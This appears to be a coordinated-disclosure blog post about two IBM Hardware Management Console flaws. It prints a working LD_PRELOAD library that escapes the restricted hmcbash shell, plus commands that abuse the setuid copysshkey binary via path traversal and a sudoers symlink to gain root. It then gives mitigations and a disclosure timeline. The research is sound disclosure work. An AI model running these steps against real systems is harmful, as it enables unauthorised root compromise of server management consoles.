We discovered a private key for accessing an IBM Hardware Management Console (HMC) during a recent red team engagement. The IBM Hardware Management Console (HMC) is a dedicated management system used to control and manage IBM servers, especially those running on Power Systems (like IBM Power9/Power10) and mainframes (z Systems). After brief research, we identified two security vulnerabilities that can be leveraged to gain root access to the HMC.

Access for most users via SSH is limited through the hmcbash, a restricted shell environment. Using LD_PRELOAD, attackers can break out of the restricted bash and gain access to additional binaries installed on the system. With the restrictions lifted, attackers can use a setuid binary, copysshkey, to elevate privileges to root.

IBM tracks the two vulnerabilities as Security Bulletin: Incorrect permission of environment variable (CVE-2025-1950) affects Power HMC and Security Bulletin: Vulnerability in HMC affects further privilege escalation (CVE-2025-1951) on Power HMC respectively.

Breaking Out of the Restricted Shell

The restricted shell (hmcbash) is built on top of bash’s restricted mode. This prevents users, amongst other things, from changing the directory, specifying command names containing slashes, and modifying certain environment variables. Additionally, multiple possible GTFOBins, such as sed that has been used in CVE-2021-29707, have been patched.

However, we found that it is possible to set the environment variable LD_PRELOAD, which allows us to run an arbitrary binary without the need for slashes in the command itself.

We used a simple program that loads /bin/bash on application exit, as shown in the following snippet:

#include <stdio.h>
#include <unistd.h>

void exit(int e) {
    execve("/bin/bash", NULL, NULL);
    while(1);
}

As the user was unable to receive files sent via scp, we used the following command to store the library on the system:

cat test.so | ssh ibmifcb@XXXXX cp /dev/stdin test.so

The following excerpt shows the exploitation using LD_PRELOAD and navigation within an unrestricted bash.

ibmifcb@XXXXX:~> id
bash: id: command not found
ibmifcb@XXXXX:~> cd /
bash: cd: restricted
ibmifcb@XXXXX:~> LD_PRELOAD=./test.so less
Missing filename ("less --help" for help)
[ibmifcb@XXXXX ibmifcb] $ cd /
[ibmifcb@XXXXX /] $ pwd
/

Privilege Escalation

Privileges of the user ibmifcb were still pretty limited, so our next goal was to elevate them. After a quick look around the system, we found a binary, copysshkey, that has the setuid bit set.

[ibmifcb@XXXXX /] $ ls -al /opt/hsc/bin/copysshkey
-rwsr-xr-x 1 root root 81248 Oct 26  2023 /opt/hsc/bin/copysshkey

Using this binary arbitrary public keys can be written into the authorized_keys2 file of any user to gain SSH access as this user as shown in the following excerpt.

/opt/hsc/bin/copysshkey -o add -u hscroot -k 'ssh-ed25519 [...]'

Furthermore, the program validates neither the given key as a public key, nor the username. Thus, two issues arise:

1. copysshkey can be used to append any text to the authorized_keys2 file
2. The username can be used as a path traversal

As shown in the following scenario this can be used to leverage access to the ccfw user which has password-less sudo permissions, thus, gaining us root access.

[ibmifcb@XXXXX ibmifcb] $ pwd
/home/ibmifcb
[ibmifcb@XXXXX ibmifcb] $ mkdir -p lol/.ssh
[ibmifcb@XXXXX ibmifcb] $ ln -s /etc/sudoers lol/.ssh/authorized_keys2
[ibmifcb@XXXXX ibmifcb] $ /opt/hsc/bin/copysshkey -o add -u ibmifcb/lol -k 'ibmifcb ALL=(ALL) NOPASSWD: ALL'
[ibmifcb@XXXXX ibmifcb] $ sudo -i
[root@XXXXX ~] # cat /etc/sudoers
[...]
Defaults:ccfw   !requiretty
ccfw ALL=(ALL) NOPASSWD: ALL
Defaults:root   !requiretty
ibmifcb ALL=(ALL) NOPASSWD: ALL

Mitigation

Shell Breakout

To prevent users within the restricted shell to set LD_PRELOAD to a custom value, it should be marked readonly and set to an empty string.

Privilege Escalation

It should be evaluated if execution permissions of the copysshkey binary can be restricted.

Secondly, the program copysshkey should verify that the username is valid and cannot be used for a path traversal attack.

Thirdly, the public key passed to copysshkey should be validated to prevent arbitrary data from being written to files.

Disclosure Timeline

After coordination with the customer, we contacted IBM to disclose this vulnerability. Below, you can find a short summary of the disclosure timeline:

• February 18, 2025: Issue reported to IBM.
• March 31, 2025: ERNW reaches out to IBM for an update.
• April 22, 2025: IBM acknowledges the vulnerabilities and publishes fixed versions^1,2. CVE-2025-1950 and CVE-2025-1951 are published.
• April 25, 2025: Public disclosure of this blog post.

Cheers!
Jan & Malte